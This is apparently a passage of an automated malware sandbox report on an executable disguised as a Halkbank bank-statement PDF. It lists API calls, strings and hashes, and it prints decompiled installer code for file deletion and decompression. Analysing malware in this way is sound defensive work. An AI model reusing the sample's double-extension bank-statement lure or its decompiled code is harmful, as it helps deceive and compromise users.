GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 0040392D
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 00403939
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 0040394D
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 00403955
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 00403966
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 0040396E
DeleteFileW.KERNELBASE(1033), ref: 00403982
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu), ref: 00403A69
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A328), ref: 00403A78

Part of subcall function 00405C16: CreateDirectoryW.KERNELBASE(?,00000000,00403633,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00405C1C

lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp), ref: 00403A83
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe",00000000,?), ref: 00403A8F
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 00403AAF
DeleteFileW.KERNEL32(00420F08,00420F08,?,0042B000,?), ref: 00403B0E
CopyFileW.KERNEL32(C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe,00420F08,00000001), ref: 00403B21
CloseHandle.KERNEL32(00000000,00420F08,00420F08,?,00420F08,00000000), ref: 00403B4E
ExitProcess.KERNEL32(?), ref: 00403B6C
OleUninitialize.OLE32(?), ref: 00403B71
ExitProcess.KERNEL32 ref: 00403B8B
GetCurrentProcess.KERNEL32(00000028,?), ref: 00403B9F
OpenProcessToken.ADVAPI32(00000000), ref: 00403BA6
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403BBA
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00403BD9
ExitWindowsEx.USER32(00000002,80040002), ref: 00403BFE
ExitProcess.KERNEL32 ref: 00403C1F

Strings

Low, xrefs: 0040394F
TEMP, xrefs: 00403961
\Temp, xrefs: 00403933
NSIS Error, xrefs: 004037A1
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00403659
Error launching installer, xrefs: 00403A12
.tmp, xrefs: 00403A7D
~nsu, xrefs: 00403A61
1033, xrefs: 0040397D
C:\Users\user\AppData\Local\Temp, xrefs: 00403A3B
TMP, xrefs: 00403969
C:\Users\user\Desktop, xrefs: 00403A88, 00403A8D, 00403AC0
UXTHEME, xrefs: 0040372E, 00403733, 00403739
"C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe", xrefs: 004037B6, 004037BC, 004037D1, 004039A8, 004039B4, 00403A02, 00403A0C
C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe, xrefs: 00403B1C
C:\Users\user\AppData\Local\Temp, xrefs: 00403901, 00403A30, 00403AB7, 00403AC1
SeShutdownPrivilege, xrefs: 00403BB4
C:\Users\user\AppData\Local\Temp\, xrefs: 00403911, 00403916, 0040392C, 00403938, 00403947, 00403954, 00403960, 00403968, 00403A66, 00403A77, 00403A82, 00403A8E, 00403A9F, 00403AAE, 00403B64

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: Processlstrcat$ExitFile$Directory$CurrentDeleteEnvironmentPathTempTokenVariableVersionWindows$AdjustCharCloseCommandCopyCreateErrorHandleInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesUninitializeValuelstrcmpilstrlen
String ID: "C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe"$.tmp$1033$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 2292928366-1121976513
Opcode ID: e0a8c6016783217a32738e87f4e0326041da0509f66f4411adb9540052cd23fd
Instruction ID: d56582c8b11bee4b9d4e83ad1f604629a9588d533935b381636b20c84fba3529
Opcode Fuzzy Hash: e0a8c6016783217a32738e87f4e0326041da0509f66f4411adb9540052cd23fd
Instruction Fuzzy Hash: D4E1F471A00214AADB20AFB58D45A6E3EB8EB05709F50847FF945B32D1DB7C8A41CB6D

Uniqueness

Uniqueness Score: -1.00%

Function 00405D74 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E00405D74(void* __eflags, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				short _v556;
				short _v558;
				struct _WIN32_FIND_DATAW _v604;
				signed int _t38;
				signed int _t52;
				signed int _t55;
				signed int _t62;
				void* _t64;
				signed char _t65;
				WCHAR* _t66;
				void* _t67;
				WCHAR* _t68;
				void* _t70;

				_t65 = _a8;
				_t68 = _a4;
				_v8 = _t65 & 0x00000004;
				_t38 = E0040603F(__eflags, _t68);
				_v12 = _t38;
				if((_t65 & 0x00000008) != 0) {
					_t62 = DeleteFileW(_t68); // executed
					asm("sbb eax, eax");
					_t64 =  ~_t62 + 1;
					 *0x42a2e8 =  *0x42a2e8 + _t64;
					return _t64;
				}
				_a4 = _t65;
				_t8 =  &_a4;
				 *_t8 = _a4 & 0x00000001;
				__eflags =  *_t8;
				if( *_t8 == 0) {
					L5:
					E00406668(0x425750, _t68);
					__eflags = _a4;
					if(_a4 == 0) {
						E00405F83(_t68);
					} else {
						lstrcatW(0x425750, L"\\*.*");
					}
					__eflags =  *_t68;
					if( *_t68 != 0) {
						L10:
						lstrcatW(_t68, 0x40a014);
						L11:
						_t66 =  &(_t68[lstrlenW(_t68)]);
						_t38 = FindFirstFileW(0x425750,  &_v604); // executed
						_t70 = _t38;
						__eflags = _t70 - 0xffffffff;
						if(_t70 == 0xffffffff) {
							L26:
							__eflags = _a4;
							if(_a4 != 0) {
								_t30 = _t66 - 2;
								 *_t30 =  *(_t66 - 2) & 0x00000000;
								__eflags =  *_t30;
							}
							goto L28;
						} else {
							goto L12;
						}
						do {
							L12:
							__eflags = _v604.cFileName - 0x2e;
							if(_v604.cFileName != 0x2e) {
								L16:
								E00406668(_t66,  &(_v604.cFileName));
								__eflags = _v604.dwFileAttributes & 0x00000010;
								if(__eflags == 0) {
									_t52 = E00405D2C(__eflags, _t68, _v8);
									__eflags = _t52;
									if(_t52 != 0) {
										E004056CA(0xfffffff2, _t68);
									} else {
										__eflags = _v8 - _t52;
										if(_v8 == _t52) {
											 *0x42a2e8 =  *0x42a2e8 + 1;
										} else {
											E004056CA(0xfffffff1, _t68);
											E00406428(_t67, _t68, 0);
										}
									}
								} else {
									__eflags = (_a8 & 0x00000003) - 3;
									if(__eflags == 0) {
										E00405D74(__eflags, _t68, _a8);
									}
								}
								goto L24;
							}
							__eflags = _v558;
							if(_v558 == 0) {
								goto L24;
							}
							__eflags = _v558 - 0x2e;
							if(_v558 != 0x2e) {
								goto L16;
							}
							__eflags = _v556;
							if(_v556 == 0) {
								goto L24;
							}
							goto L16;
							L24:
							_t55 = FindNextFileW(_t70,  &_v604); // executed
							__eflags = _t55;
						} while (_t55 != 0);
						_t38 = FindClose(_t70); // executed
						goto L26;
					}
					__eflags =  *0x425750 - 0x5c;
					if( *0x425750 != 0x5c) {
						goto L11;
					}
					goto L10;
				} else {
					__eflags = _t38;
					if(_t38 == 0) {
						L28:
						__eflags = _a4;
						if(_a4 == 0) {
							L36:
							return _t38;
						}
						__eflags = _v12;
						if(_v12 != 0) {
							_t38 = E0040699E(_t68);
							__eflags = _t38;
							if(_t38 == 0) {
								goto L36;
							}
							E00405F37(_t68);
							_t38 = E00405D2C(__eflags, _t68, _v8 | 0x00000001);
							__eflags = _t38;
							if(_t38 != 0) {
								return E004056CA(0xffffffe5, _t68);
							}
							__eflags = _v8;
							if(_v8 == 0) {
								goto L30;
							}
							E004056CA(0xfffffff1, _t68);
							return E00406428(_t67, _t68, 0);
						}
						L30:
						 *0x42a2e8 =  *0x42a2e8 + 1;
						return _t38;
					}
					__eflags = _t65 & 0x00000002;
					if((_t65 & 0x00000002) == 0) {
						goto L28;
					}
					goto L5;
				}
			}

0x00405d7e
0x00405d83
0x00405d8c
0x00405d8f
0x00405d97
0x00405d9a
0x00405d9d
0x00405da5
0x00405da7
0x00405da8
0x00000000
0x00405da8
0x00405db3
0x00405db6
0x00405db6
0x00405db6
0x00405dba
0x00405dcd
0x00405dd4
0x00405dd9
0x00405ddd
0x00405ded
0x00405ddf
0x00405de5
0x00405de5
0x00405df2
0x00405df6
0x00405e02
0x00405e08
0x00405e0d
0x00405e13
0x00405e1e
0x00405e24
0x00405e26
0x00405e29
0x00405ed3
0x00405ed3
0x00405ed7
0x00405ed9
0x00405ed9
0x00405ed9
0x00405ed9
0x00000000
0x00000000
0x00000000
0x00000000
0x00405e2f
0x00405e2f
0x00405e2f
0x00405e37
0x00405e57
0x00405e5f
0x00405e64
0x00405e6b
0x00405e86
0x00405e8b
0x00405e8d
0x00405eb1
0x00405e8f
0x00405e8f
0x00405e92
0x00405ea6
0x00405e94
0x00405e97
0x00405e9f
0x00405e9f
0x00405e92
0x00405e6d
0x00405e73
0x00405e75
0x00405e7b
0x00405e7b
0x00405e75
0x00000000
0x00405e6b
0x00405e39
0x00405e41
0x00000000
0x00000000
0x00405e43
0x00405e4b
0x00000000
0x00000000
0x00405e4d
0x00405e55
0x00000000
0x00000000
0x00000000
0x00405eb6
0x00405ebe
0x00405ec4
0x00405ec4
0x00405ecd
0x00000000
0x00405ecd
0x00405df8
0x00405e00
0x00000000
0x00000000
0x00000000
0x00405dbc
0x00405dbc
0x00405dbe
0x00405ede
0x00405ee0
0x00405ee3
0x00405f34
0x00405f34
0x00405f34
0x00405ee5
0x00405ee8
0x00405ef3
0x00405ef8
0x00405efa
0x00000000
0x00000000
0x00405efd
0x00405f09
0x00405f0e
0x00405f10
0x00000000
0x00405f2b
0x00405f12
0x00405f15
0x00000000
0x00000000
0x00405f1a
0x00000000
0x00405f21
0x00405eea
0x00405eea
0x00000000
0x00405eea
0x00405dc4
0x00405dc7
0x00000000
0x00000000
0x00000000
0x00405dc7

APIs

DeleteFileW.KERNELBASE(?,?,7476FAA0,7476F560,00000000), ref: 00405D9D
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsvF67F.tmp\*.*,\*.*), ref: 00405DE5
lstrcatW.KERNEL32(?,0040A014), ref: 00405E08
lstrlenW.KERNEL32(?,?,0040A014,?,C:\Users\user\AppData\Local\Temp\nsvF67F.tmp\*.*,?,?,7476FAA0,7476F560,00000000), ref: 00405E0E
FindFirstFileW.KERNELBASE(C:\Users\user\AppData\Local\Temp\nsvF67F.tmp\*.*,?,?,?,0040A014,?,C:\Users\user\AppData\Local\Temp\nsvF67F.tmp\*.*,?,?,7476FAA0,7476F560,00000000), ref: 00405E1E
FindNextFileW.KERNELBASE(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405EBE
FindClose.KERNELBASE(00000000), ref: 00405ECD

Strings

., xrefs: 00405E43
., xrefs: 00405E2F
C:\Users\user\AppData\Local\Temp\nsvF67F.tmp\*.*, xrefs: 00405DCD, 00405DD3, 00405DE4, 00405E1D
\*.*, xrefs: 00405DDF

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: .$.$C:\Users\user\AppData\Local\Temp\nsvF67F.tmp\*.*$\*.*
API String ID: 2035342205-339633739
Opcode ID: eb4081a649fdbb44c8907daec76b44e1c805ca5b036c6d0867ef95af4715127c
Instruction ID: 3801e3340fbbb9c460ab277ab089a7ece50ce31247a5b640c745bca9484d7288
Opcode Fuzzy Hash: eb4081a649fdbb44c8907daec76b44e1c805ca5b036c6d0867ef95af4715127c
Instruction Fuzzy Hash: 46410330800A15AADB21AB61CC49BBF7678EF41715F50413FF881711D1DB7C4A82CEAE

Uniqueness

Uniqueness Score: -1.00%

Function 00406D5F Relevance: 5.4, APIs: 4, Instructions: 382
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E00406D5F() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				void* _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t590;
				signed int* _t607;
				void* _t614;

				L0:
				while(1) {
					L0:
					if( *(_t614 - 0x40) != 0) {
						 *(_t614 - 0x34) = 1;
						 *(_t614 - 0x84) = 7;
						_t607 =  *(_t614 - 4) + 0x180 +  *(_t614 - 0x38) * 2;
						L132:
						 *(_t614 - 0x54) = _t607;
						L133:
						_t531 =  *_t607;
						_t590 = _t531 & 0x0000ffff;
						_t565 = ( *(_t614 - 0x10) >> 0xb) * _t590;
						if( *(_t614 - 0xc) >= _t565) {
							 *(_t614 - 0x10) =  *(_t614 - 0x10) - _t565;
							 *(_t614 - 0xc) =  *(_t614 - 0xc) - _t565;
							 *(_t614 - 0x40) = 1;
							_t532 = _t531 - (_t531 >> 5);
							 *_t607 = _t532;
						} else {
							 *(_t614 - 0x10) = _t565;
							 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
							 *_t607 = (0x800 - _t590 >> 5) + _t531;
						}
						if( *(_t614 - 0x10) >= 0x1000000) {
							L139:
							_t533 =  *(_t614 - 0x84);
							L140:
							 *(_t614 - 0x88) = _t533;
							goto L1;
						} else {
							L137:
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 5;
								goto L170;
							}
							 *(_t614 - 0x10) =  *(_t614 - 0x10) << 8;
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
							goto L139;
						}
					} else {
						__eax =  *(__ebp - 0x5c) & 0x000000ff;
						__esi =  *(__ebp - 0x60);
						__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
						__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
						__ecx =  *(__ebp - 0x3c);
						__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
						__ecx =  *(__ebp - 4);
						(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
						__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
						__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
						 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
						if( *(__ebp - 0x38) >= 4) {
							if( *(__ebp - 0x38) >= 0xa) {
								_t97 = __ebp - 0x38;
								 *_t97 =  *(__ebp - 0x38) - 6;
							} else {
								 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
							}
						} else {
							 *(__ebp - 0x38) = 0;
						}
						if( *(__ebp - 0x34) == __edx) {
							__ebx = 0;
							__ebx = 1;
							L60:
							__eax =  *(__ebp - 0x58);
							__edx = __ebx + __ebx;
							__ecx =  *(__ebp - 0x10);
							__esi = __edx + __eax;
							__ecx =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								_t216 = __edx + 1; // 0x1
								__ebx = _t216;
								__cx = __ax >> 5;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								L59:
								if(__ebx >= 0x100) {
									goto L54;
								}
								goto L60;
							} else {
								L57:
								if( *(__ebp - 0x6c) == 0) {
									 *(__ebp - 0x88) = 0xf;
									goto L170;
								}
								__ecx =  *(__ebp - 0x70);
								__eax =  *(__ebp - 0xc);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								_t202 = __ebp - 0x70;
								 *_t202 =  *(__ebp - 0x70) + 1;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								goto L59;
							}
						} else {
							__eax =  *(__ebp - 0x14);
							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
							if(__eax >=  *(__ebp - 0x74)) {
								__eax = __eax +  *(__ebp - 0x74);
							}
							__ecx =  *(__ebp - 8);
							__ebx = 0;
							__ebx = 1;
							__al =  *((intOrPtr*)(__eax + __ecx));
							 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
							L40:
							__eax =  *(__ebp - 0x5b) & 0x000000ff;
							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
							__ecx =  *(__ebp - 0x58);
							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
							 *(__ebp - 0x48) = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi =  *(__ebp - 0x58) + __eax * 2;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								 *(__ebp - 0x40) = 1;
								__cx = __ax >> 5;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								L38:
								__eax =  *(__ebp - 0x40);
								if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
									while(1) {
										if(__ebx >= 0x100) {
											break;
										}
										__eax =  *(__ebp - 0x58);
										__edx = __ebx + __ebx;
										__ecx =  *(__ebp - 0x10);
										__esi = __edx + __eax;
										__ecx =  *(__ebp - 0x10) >> 0xb;
										__ax =  *__esi;
										 *(__ebp - 0x54) = __esi;
										__edi = __ax & 0x0000ffff;
										__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
										if( *(__ebp - 0xc) >= __ecx) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
											__cx = __ax;
											_t169 = __edx + 1; // 0x1
											__ebx = _t169;
											__cx = __ax >> 5;
											 *__esi = __ax;
										} else {
											 *(__ebp - 0x10) = __ecx;
											0x800 = 0x800 - __edi;
											0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
											__ebx = __ebx + __ebx;
											 *__esi = __cx;
										}
										 *(__ebp - 0x44) = __ebx;
										if( *(__ebp - 0x10) < 0x1000000) {
											L45:
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t155 = __ebp - 0x70;
											 *_t155 =  *(__ebp - 0x70) + 1;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
										}
									}
									L53:
									_t172 = __ebp - 0x34;
									 *_t172 =  *(__ebp - 0x34) & 0x00000000;
									L54:
									__al =  *(__ebp - 0x44);
									 *(__ebp - 0x5c) =  *(__ebp - 0x44);
									L55:
									if( *(__ebp - 0x64) == 0) {
										 *(__ebp - 0x88) = 0x1a;
										goto L170;
									}
									__ecx =  *(__ebp - 0x68);
									__al =  *(__ebp - 0x5c);
									__edx =  *(__ebp - 8);
									 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
									 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
									 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
									 *( *(__ebp - 0x68)) = __al;
									__ecx =  *(__ebp - 0x14);
									 *(__ecx +  *(__ebp - 8)) = __al;
									__eax = __ecx + 1;
									__edx = 0;
									_t191 = __eax %  *(__ebp - 0x74);
									__eax = __eax /  *(__ebp - 0x74);
									__edx = _t191;
									L79:
									 *(__ebp - 0x14) = __edx;
									L80:
									 *(__ebp - 0x88) = 2;
									goto L1;
								}
								if(__ebx >= 0x100) {
									goto L53;
								}
								goto L40;
							} else {
								L36:
								if( *(__ebp - 0x6c) == 0) {
									 *(__ebp - 0x88) = 0xd;
									L170:
									_t568 = 0x22;
									memcpy( *(_t614 - 0x90), _t614 - 0x88, _t568 << 2);
									_t535 = 0;
									L172:
									return _t535;
								}
								__ecx =  *(__ebp - 0x70);
								__eax =  *(__ebp - 0xc);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								_t121 = __ebp - 0x70;
								 *_t121 =  *(__ebp - 0x70) + 1;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								goto L38;
							}
						}
					}
					L1:
					_t534 =  *(_t614 - 0x88);
					if(_t534 > 0x1c) {
						L171:
						_t535 = _t534 | 0xffffffff;
						goto L172;
					}
					switch( *((intOrPtr*)(_t534 * 4 +  &M00407602))) {
						case 0:
							if( *(_t614 - 0x6c) == 0) {
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							_t534 =  *( *(_t614 - 0x70));
							if(_t534 > 0xe1) {
								goto L171;
							}
							_t538 = _t534 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t570);
							_push(9);
							_pop(_t571);
							_t610 = _t538 / _t570;
							_t540 = _t538 % _t570 & 0x000000ff;
							asm("cdq");
							_t605 = _t540 % _t571 & 0x000000ff;
							 *(_t614 - 0x3c) = _t605;
							 *(_t614 - 0x1c) = (1 << _t610) - 1;
							 *((intOrPtr*)(_t614 - 0x18)) = (1 << _t540 / _t571) - 1;
							_t613 = (0x300 << _t605 + _t610) + 0x736;
							if(0x600 ==  *((intOrPtr*)(_t614 - 0x78))) {
								L10:
								if(_t613 == 0) {
									L12:
									 *(_t614 - 0x48) =  *(_t614 - 0x48) & 0x00000000;
									 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
									goto L15;
								} else {
									goto L11;
								}
								do {
									L11:
									_t613 = _t613 - 1;
									 *((short*)( *(_t614 - 4) + _t613 * 2)) = 0x400;
								} while (_t613 != 0);
								goto L12;
							}
							if( *(_t614 - 4) != 0) {
								GlobalFree( *(_t614 - 4));
							}
							_t534 = GlobalAlloc(0x40, 0x600); // executed
							 *(_t614 - 4) = _t534;
							if(_t534 == 0) {
								goto L171;
							} else {
								 *((intOrPtr*)(_t614 - 0x78)) = 0x600;
								goto L10;
							}
						case 1:
							L13:
							__eflags =  *(_t614 - 0x6c);
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 1;
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x40) =  *(_t614 - 0x40) | ( *( *(_t614 - 0x70)) & 0x000000ff) <<  *(_t614 - 0x48) << 0x00000003;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							_t45 = _t614 - 0x48;
							 *_t45 =  *(_t614 - 0x48) + 1;
							__eflags =  *_t45;
							L15:
							if( *(_t614 - 0x48) < 4) {
								goto L13;
							}
							_t546 =  *(_t614 - 0x40);
							if(_t546 ==  *(_t614 - 0x74)) {
								L20:
								 *(_t614 - 0x48) = 5;
								 *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) =  *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) & 0x00000000;
								goto L23;
							}
							 *(_t614 - 0x74) = _t546;
							if( *(_t614 - 8) != 0) {
								GlobalFree( *(_t614 - 8));
							}
							_t534 = GlobalAlloc(0x40,  *(_t614 - 0x40)); // executed
							 *(_t614 - 8) = _t534;
							if(_t534 == 0) {
								goto L171;
							} else {
								goto L20;
							}
						case 2:
							L24:
							_t553 =  *(_t614 - 0x60) &  *(_t614 - 0x1c);
							 *(_t614 - 0x84) = 6;
							 *(_t614 - 0x4c) = _t553;
